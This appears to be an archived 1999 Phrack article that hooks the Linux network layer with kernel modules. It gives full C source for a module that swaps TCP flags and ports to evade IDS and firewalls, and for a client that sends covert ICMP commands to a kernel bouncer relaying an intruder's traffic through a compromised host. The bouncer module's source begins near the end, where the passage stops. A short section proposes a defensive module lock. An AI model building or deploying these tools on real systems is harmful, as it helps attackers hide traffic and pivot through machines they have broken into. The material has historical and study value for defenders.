💾 Archived View for aphrack.org › issues › phrack55 › 12.gmi captured on 2021-12-17 at 13:26:06. Gemini links have been rewritten to link to archived content
⬅️ Previous capture (2021-12-03)
-=-=-=-=-=-=-
-------[ Phrack Magazine --- Vol. 9 | Issue 55 --- 09.09.99 --- 12 of 19 ] -------------------------[ Building Into The Linux Network Layer ] --------[ kossak <kossak@hackers-pt.org>, lifeline <arai@hackers-pt.org> ] ----[ Introduction As we all know, the Linux kernel has a monolithic architecture. That basically means that every piece of code that is executed by the kernel has to be loaded into kernel memory. To prevent having to rebuild the kernel every time new hardware is added (to add drivers for it), Mr. Linus Torvalds and the gang came up with the loadable module concept that we all came to love: the linux kernel modules (lkm's for short). This article begins by pointing out yet more interesting things that can be done using lkm's in the networking layer, and finishes by trying to provide a solution to kernel backdooring. ----[ Socket Kernel Buffers TCP/IP is a layered set of protocols. This means that the kernel needs to use several routine functions to process the different packet layers in order to fully "understand" the packet and connect it to a socket, etc. First, it needs a routine to handle the link-layer header and, once processed there, the packet is passed to the IP-layer handling routine(s), then to the transport- layer routine(s) and so on. Well, the different protocols need a way to communicate with each other as the packets are being processed. Under Linux the answer to this are socket kernel buffers (or sk_buff's). These are used to pass data between the different protocol layers (handling routines) and the network device drivers. The sk_buff{} structure (only the most important items are presented, see linux/include/linux/skbuff.h for more): sk_buff{} --------+ next | --------| prev | --------| dev | --------| | --------| head |---+ --------| | data |---|---+ --------| | | tail |---|---|---+ --------| | | | end |---|---|---|---+ --------|<--+ | | | | | | | --------|<------+ | | Packet | | | being | | | handled | | | --------|<----------+ | | | | | | | --------+<--------------+ next: pointer to the next sk_buff{}. prev: pointer to the previous sk_buff{}. dev: device we are currently using. head: pointer to beginning of buffer which holds our packet. data: pointer to the actual start of the protocol data. This may vary depending of the protocol layer we are on. tail: pointer to the end of protocol data, also varies depending of the protocol layer using he sk_buff. end: points to the end of the buffer holding our packet. Fixed value. For further enlightenment, imagine this: - host A sends a packet to host B - host B receives the packet through the appropriate network device. - the network device converts the received data into sk_buff data structures. - those data structures are added to the backlog queue. - the scheduler then determines which protocol layer to pass the received packets to. Thus, our next question arises... How does the scheduler determine which protocol to pass the data to? Well, each protocol is registered in a packet_type{} data structure which is held by either the ptype_all list or the ptype_base hash table. The packet_type{} data structure holds information on protocol type, network device, pointer to the protocol's receive data processing routine and a pointer to the next packet_type{} structure. The network handler matches the protocol types of the incoming packets (sk_buff's) with the ones in one or more packet_type{} structures. The sk_buff is then passed to the matching protocol's handling routine(s). ----[ The Hack What we do is code our own kernel module that registers our packet_type{} data structure to handle all incoming packets (sk_buff's) right after they come out of the device driver. This is easier than it seems. We simply fill in a packet_type{} structure and register it by using a kernel exported function called dev_add_pack(). Our handler will then sit between the device driver and the next (previously the first) routine handler. This means that every sk_buff that arrives from the device driver has to pass first through our packet handler. ----[ The Examples We present you with three real-world examples, a protocol "mutation" layer, a kernel-level packet bouncer, and a kernel-level packet sniffer. ----[ OTP (Obscure Transport Protocol) The first one is really simple (and fun too), it works in a client-server paradigm, meaning that you need to have two modules loaded, one on the client and one on the server (duh). The client module catches every TCP packet with the SYN flag on and swaps it with a FIN flag. The server module does exactly the opposite, swaps the FIN for a SYN. I find this particularly fun since both sides behave like a regular connection is undergoing, but if you watch it on the wire it will seem totally absurd. This can also do the same for ports and source address. Let's look at an example taken right from the wire. Imagine the following scenario, we have host 'doubt' who wishes to make a telnet connection to host 'hardbitten'. We load the module in both sides telling it to swap port 23 for 80 and to swap a SYN for a FIN and vice-versa. [lifeline@doubt ITP]$ telnet hardbitten A regular connection (without the modules loaded) looks like this: 03:29:56.766445 doubt.1025 > hardbitten.23: tcp (SYN) 03:29:56.766580 hardbitten.23 > doubt.1025: tcp (SYN ACK) 03:29:56.766637 doubt.1025 > hardbitten.23: tcp (ACK) (we only look at the initial connection request, the 3-way handshake) Now we load the modules and repeat the procedure. If we look at the wire the connection looks like the following: 03:35:30.576331 doubt.1025 > hardbitten.80: tcp (FIN) 03:35:30.576440 hardbitten.80 > doubt.1025: tcp (FIN ACK) 03:35:30.576587 doubt.1025 > hardbitten.80: tcp (ACK) When, what is happening in fact, is that 'doubt' is (successfully) requesting a telnet session to host 'hardbitten'. This is a nice way to evade IDSes and many firewall policies. It is also very funny. :-) Ah, There is a problem with this, when closing a TCP connection the FIN's are replaced by SYN's because of the reasons stated above, there is, however, an easy way to get around this, is to tell our lkm just to swap the flags when the socket is in TCP_LISTEN, TCP_SYN_SENT or TCP_SYN_RECV states. I have not implemented this partly to avoid misuse by "script kiddies", partly because of laziness and partly because I'm just too busy. However, it is not hard to do this, go ahead and try it, I trust you. ----[ A Kernel Traffic Bouncer This packet relaying tool is mainly a proof of concept work at this point. This one is particularly interesting when combined with the previous example. We load our module on the host 'medusa' that then sits watching every packet coming in. We want to target host 'hydra' but this one only accepts telnet connections from the former. However, it's too risky to log into 'medusa' right now, because root is logged. No problem, we send an ICMP_ECHO_REQUEST packet that contains a magic cookie or password and 2 ip's and 2 ports like: <sourceip:srcport, destip:destport>. We can however omit srcport without too much trouble (as we did on the example shown below). Our module then accepts this cookie and processes it. It now knows that any packet coming from sourceip:srcport into medusa:destport is to be sent to destip:destport. The following example illustrates this nicely: - host medusa has bouncer module installed. - host medusa receives an magic ICMP packet with: <sourceip:srcprt, destip:dstprt> - any packet coming to host medusa from `sourceip:srcprt` with destination port `dstport` is routed to `destip`, and vice-versa. The packets are never processed by the rest of the stack on medusa. Note that as I said above, in the coded example we removed `srcprt` from the information sent to the bouncer. This means it will accept packets from any source port. This can be dangerous: imagine that I have this bouncing rule processed on host 'medusa': <intruder, hydra:23> Now try to telnet from 'medusa' to 'hydra'. You won't make it. Every packet coming back from hydra is sent to 'intruder', so no response appears to the user executing the telnet. Intruder will drop the packets obviously, since he didn't start a connection. Using a source port on the rule minimizes this risk, but there is still a possibility (not likely) that a user on medusa uses the same source port we used on our bouncing rule. This should be possible to avoid by reserving the source port on host medusa (see masquerading code in the kernel). As a side note, this technique can be used on almost all protocols, even those without port abstraction (UDP/TCP). Even icmp bouncing should be possible using cookies. This is a more low-level approach than ip masquerading, and IMHO a much better one :) Issues with the bouncer: - Source port ambiguity. My suggestion to solving this is to accept the rules without a source port, and then add that to the rule after a SYN packet reaches the bouncer. The rule then only affects that connection. The source port is then cleared by an RST or a timeout waiting for packets. - No timeout setting on rules. - The bouncer does not handle IP fragments. Also, there's a bigger issue in hand. Notice in the source that I'm sending the packets right through the device they came. This is a bad situation for routers. This happens because I only have immediate access to the hardware address of the originating packet's device. To implement routing to another device, we must consult IP routing tables, find the device that is going to send the packet, and the destination machine's MAC address (if it is an ethernet device), that may only be available after an ARP request. It's tricky stuff. This problem, depending on the network, can become troublesome. Packets could be stuck on 2 hosts looping until they expire (via TTL), or, if the network has traffic redundancy, they might escape safely. ----[ A Kernel Based Sniffer Another proof of concept tool, the sniffer is a bit simpler in concept than the bouncer. It just sits in its socket buffer handler above all other protocol handlers and listens for, say, TCP packets, and then logs them to a file. There are some tricks to it of course... We have to be able to identify packets from different connections, and better yet, we have to order out-of-sequence tcp packets, in order to get coherent results. This is particularly nasty in case of telnet connections. (a timeout feature is missing too, and the capability of sniffing more than one connection at a given moment (this one is tricky). Ideally, the module should store all results in kernel memory and send them back to us (if we say, send it a special packet). But this is a proof of concept, and it is not a finished "script kiddies" product, so I leave you smart readers to polish the code, learn it, and experiment with it :) ----[ A Solution For Kernel Harassing So, having fun kicking kernel ass from left to right? Let's end the tragedy, the linux kernel is your friend! :) Well, I've read Silvio's excellent article about patching the kernel using /dev/kmem, so obviously compiling the kernel without module support is not enough. I leave you with an idea. It should be fairly simple to code. It's a module (yes, another one), that when loaded prevents any other modules to load, and turns /dev/kmem into a read-only device (kernel memory can only be accessed with ring 0 privilege). So without any kernel routine made available to the outside, the kernel is the only one that can touch it's own memory. Readers should know that this is not something new. Securelevels are (somewhat) implemented in kernels 2.0.x and do some cool stuff like not allowing writing directly to critical devices, such as /dev/kmem, /dev/mem, and /dev/hd*. This was not implemented in 2.2.x, so it would be nice to have a module like this. When an administrator is through loading modules, and wants to leave the system just a bit more secure, he loads the 'lock' module, and presto, no more kernel harassing. This must be of course be accompanied by other measures. I believe a real secure system should have this module installed and the kernel image file stored on a read only media, such as a floppy disk drive, and no boot loader such as lilo. You should also be worried about securing the CMOS data. You just want to boot using the floppy. Securing the CMOS data can be tricky on a rooted system as I noticed on a recent discussion on irc (liquidk, you intelligent bastard), but this is out of the scope of this article. This idea could also be implemented directly in the kernel without using modules. Mainly I would like to see a real secure levels implementation on 2.2.x :) ---[ References + The Linux Kernel by David A. Rusling + TCP/IP Illustrated, Volume 1 by W. Richard Stevens (Addison Wesley) + Phrack Issue 52, article 18 (P52-18) by plaguez. + Windows 98 Unleashed by Stev...oh. no. wait, this can't be right... :-) ----[ Acknowledgements Both the authors would like to thank to: + HPT (http://www.hackers-pt.org) for being a bunch of idiots (hehe). + pmsac@toxyn.org for support and coming up with the idea for the kernel based sniffer. + LiquidK for coming up with the OTP concept and fucking up some of our seemingly 'invincible' concepts :) + All of you leet hackers from Portugal, you know who you are. The scene shall be one again!! :) ----[ The Code: OTP <++> P55/Linux-lkm/OTP/otp.c !bf8d47e0 /* * Obscure Transport Protocol * * Goal: Change TCP behavior to evade IDS and firewall policies. * * lifeline (c) 1999 * <arai@hackers-pt.org> * * gcc -O6 -c otp.c -I/usr/src/linux/include * insmod otp.o dev=eth0 ip=123.123.123.123 * * In ip= use only numerical dotted ip's!! * Btw, this is the ip of the other machine that also has the module. * * Load this module in both machines putting in the ip= argument each other's * machine numerical dotted ip. * * Oh, and don't even think about flaming me if this fucks up your machine, * it works fine on mine with kernel 2.2.5. * This tool stands on its own. I'm not responsible for any damage caused by it. * * You will probably want to make some arrangements with the #define's below. * */ #define MODULE #define __KERNEL__ #include <linux/config.h> #include <linux/module.h> #include <linux/version.h> #include <linux/byteorder/generic.h> #include <linux/netdevice.h> #include <net/protocol.h> #include <net/pkt_sched.h> #include <net/tcp.h> #include <net/ip.h> #include <linux/if_ether.h> #include <linux/ip.h> #include <linux/tcp.h> #include <linux/skbuff.h> #include <linux/icmp.h> #include <linux/kernel.h> #include <linux/mm.h> #include <linux/file.h> #include <asm/uaccess.h> /* Define here if you want to swap ports also */ #define REALPORT 23 /* port you which to communicate */ #define FAKEPORT 80 /* port that appears on the wire */ char *dev, *ip; MODULE_PARM(dev, "s"); MODULE_PARM(ip, "s"); struct device *d; struct packet_type otp_proto; __u32 in_aton(const char *); /* Packet Handler Function */ int otp_func(struct sk_buff *skb, struct device *dv, struct packet_type *pt) { unsigned long int magic_ip; unsigned int fin = skb->h.th->fin; unsigned int syn = skb->h.th->syn; magic_ip = in_aton(ip); if ((skb->pkt_type == PACKET_HOST || skb->pkt_type == PACKET_OUTGOING) && (skb->nh.iph->saddr == magic_ip || skb->nh.iph->daddr == magic_ip) && (skb->h.th->source == FAKEPORT) || (skb->h.th->dest == FAKEPORT)) { if (skb->h.th->source == FAKEPORT) skb->h.th->source = htons(REALPORT); if (skb->h.th->dest == FAKEPORT) skb->h.th->dest = htons(REALPORT); if (skb->h.th->fin == 1) { skb->h.th->fin = 0; skb->h.th->syn = 1; goto bye; } if (skb->h.th->syn == 1) { skb->h.th->fin = 1; skb->h.th->syn = 0; } } bye: kfree_skb(skb); return 0; } /* * Convert an ASCII string to binary IP. */ __u32 in_aton(const char *str) { unsigned long l; unsigned int val; int i; l = 0; for (i = 0; i < 4; i++) { l <<= 8; if (*str != '\0') { val = 0; while (*str != '\0' && *str != '.') { val *= 10; val += *str - '0'; str++; } l |= val; if (*str != '\0') str++; } } return(htonl(l)); } int init_module() { if(!ip) { printk("Error: missing end-host ip.\n"); printk("Usage: insmod otp.o ip=x.x.x.x [dev=devname]\n\n"); return -ENXIO; } if (dev) { d = dev_get(dev); if (!d) { printk("Did not find device %s!\n", dev); printk("Using all known devices..."); } else { printk("Using device %s, ifindex: %i\n", dev, d->ifindex); otp_proto.dev = d; } } else printk("Using all known devices(wildcarded)...\n"); otp_proto.type = htons(ETH_P_ALL); otp_proto.func = otp_func; dev_add_pack(&otp_proto); return(0); } void cleanup_module() { dev_remove_pack(&otp_proto); printk("OTP unloaded\n"); } <--> <++> P55/Linux-lkm/Bouncer/brules.c !677bd859 /* * Kernel Bouncer - Rules Client * brules.c * * lifeline|arai (c) 1999 * arai@hackers-pt.org * * Btw, needs libnet (http://www.packetfactory.net/libnet). * Be sure to use 0.99d or later or this won't work due to a bug in previous versions. * * Compile: gcc brules.c -lnet -o brules * Usage: ./brules srcaddr dstaddr password srcaddr-rule dstaddr-rule dstport-rule protocol-rule * * srcaddr - source address * dstaddr - destination adress (host with the bouncer loaded) * password - magic string for authentication with module * srcaddr-rule - source address of new bouncing rule * dstaddr-rule - destination address of new bouncing rule * dstport-rule - destination port of new bouncing rule * protocol-rule - protocol of new bouncing rule (tcp, udp or icmp), 0 deletes all existing rules * * Example: * # ./brules 195.138.10.10 host.domain.com lifeline 192.10.10.10 202.10.10.10 23 tcp * * This well tell 'host.domain.com' to redirect all connections to port 23 * from '192.10.10.10', using TCP as the transport protocol, to the same port, * using the same protocol, of host '202.10.10.10'. * Of course, host.domain.com has to be with the module loaded. * * Copyright (c) 1999 lifeline <arai@hackers-pt.org> * All rights reserved. * */ #include <stdio.h> #include <libnet.h> #define MAGIC_STR argv[3] int main(int argc, char **argv) { struct rule { u_long srcaddr, dstaddr; u_char protocol; u_short destp; struct rule *next; } *rules; unsigned char *buf; u_char *payload; int c, sd, payload_s={0}; if (argc != 8) { printf("Kernel Bouncer - Rules Client\n"); printf("arai|lifeline (c) 1999\n\n"); printf("Thanks to Kossak for the original idea.\n"); printf("Usage: %s srcaddr dstaddr password srcaddr-rule dstaddr-rule dstport-rule protocol-rule\n", argv[0]); exit(0); } rules = (struct rule *)malloc(sizeof(struct rule)); rules->srcaddr = libnet_name_resolve(argv[4], 1); rules->dstaddr = libnet_name_resolve(argv[5], 1); rules->destp = htons(atoi(argv[6])); rules->protocol = atoi(argv[7]); if(strcmp(argv[7], "tcp")==0)rules->protocol = IPPROTO_TCP; if(strcmp(argv[7], "udp")==0)rules->protocol = IPPROTO_UDP; if(strcmp(argv[7], "icmp")==0)rules->protocol = IPPROTO_ICMP; rules->next = 0; payload = (u_char *)malloc(strlen(MAGIC_STR) + sizeof(struct rule)); memcpy(payload, MAGIC_STR, strlen(MAGIC_STR)); memcpy((struct rule *)(payload + strlen(MAGIC_STR)), rules, sizeof(struct rule)); payload_s = strlen(MAGIC_STR) + sizeof(struct rule); buf = malloc(8 + IP_H + payload_s); if((sd = open_raw_sock(IPPROTO_RAW)) == -1) { fprintf(stderr, "Cannot create socket\n"); exit(EXIT_FAILURE); } libnet_build_ip(8 + payload_s, 0, 440, 0, 64, IPPROTO_ICMP, name_resolve(argv[1], 1), name_resolve(argv[2], 1), NULL, 0, buf); build_icmp_echo(8, 0, 242, 55, payload, payload_s, buf + IP_H); if(libnet_do_checksum(buf, IPPROTO_ICMP, 8 + payload_s) == -1) { fprintf(stderr, "Can't do checksum, packet may be invalid.\n"); } #ifdef DEBUG printf("type -> %d\n", *(buf+20)); printf("code -> %d\n", *(buf+20+1)); printf("checksum -> %d\n", *(buf+20+2)); #endif c = write_ip(sd, buf, 8 + IP_H + payload_s); if (c < 8 + IP_H + payload_s) { fprintf(stderr, "Error writing packet.\n"); exit(EXIT_FAILURE); } #ifdef DEBUG printf("%s : %p\n", buf+28, buf+28); #endif printf("Kernel Bouncer - Rules Client\n"); printf("lifeline|arai (c) 1999\n\n"); printf("Rules packet sent to %s.\n", argv[2]); free(rules); free(payload); free(buf); } <--> <++> P55/Linux-lkm/Bouncer/bouncer.c !f3ea817c /* * krnbouncer.c - A kernel based bouncer module * * by kossak * kossak@hackers-pt.org || http://www.hackers-pt.org/kossak * * This file is licensed by the GNU General Public License. * * Tested on a 2.2.5 kernel. Should compile on others with minimum fuss. * However, I'm not responsible for setting fire on your computer, loss of * mental health, bla bla bla... * * CREDITS: - Plaguez and Halflife for an excelent phrack article on * kernel modules. * - the kernel developers for a great job (no irony intended). * * USAGE: gcc -O2 -DDEBUG -c krnbouncer.c -I/usr/src/linux/include ; * insmod krnsniff.o [dev=<device>] * * TODO : - manage to send a packet thru another device than the one * the packet is originating from (difficult, but not important) * - implement a timeout for the bounce rules * - the rules should store a source port for checking the * connection (important) * - turn this into a totally protocol independent IP based * bouncer (quite a challenge :)) * * NOTE : don't try to use this module to bounce connections of different * types, such as bouncing packets from a ppp device to an ethernet * device and vice-versa. That was not tested and may crash your * machine. */ #define MODULE #define __KERNEL__ #include <linux/config.h> #include <linux/module.h> #include <linux/version.h> #include <linux/byteorder/generic.h> #include <linux/netdevice.h> #include <net/protocol.h> #include <net/pkt_sched.h> #include <net/tcp.h> #include <linux/if_ether.h> #include <linux/ip.h> #include <linux/tcp.h> #include <linux/skbuff.h> #include <linux/icmp.h> #include <linux/kernel.h> #include <linux/mm.h> #include <linux/file.h> #include <asm/uaccess.h> #include <linux/time.h> #define DBGPRN1(X) if (debug) printk(KERN_DEBUG X) #define DBGPRN2(X,Y) if (debug) printk(KERN_DEBUG X, Y); #define DBGPRN3(X,Y,Z) if (debug) printk(KERN_DEBUG X, Y, Z); #define DBGPRN4(X,Y,Z,W) if (debug) printk(KERN_DEBUG X, Y, Z, W); #define DBGPRN5(X,Y,Z,W,V) if (debug) printk(KERN_DEBUG X, Y, Z, W, V); #define TRUE -1 #define FALSE 0 #define MAXRULES 8 /* Max bouncing rules. */ #define RULEPASS "kossak" /* #define SOURCEIP "a.b.c.d" #define DESTIP "e.f.g.h"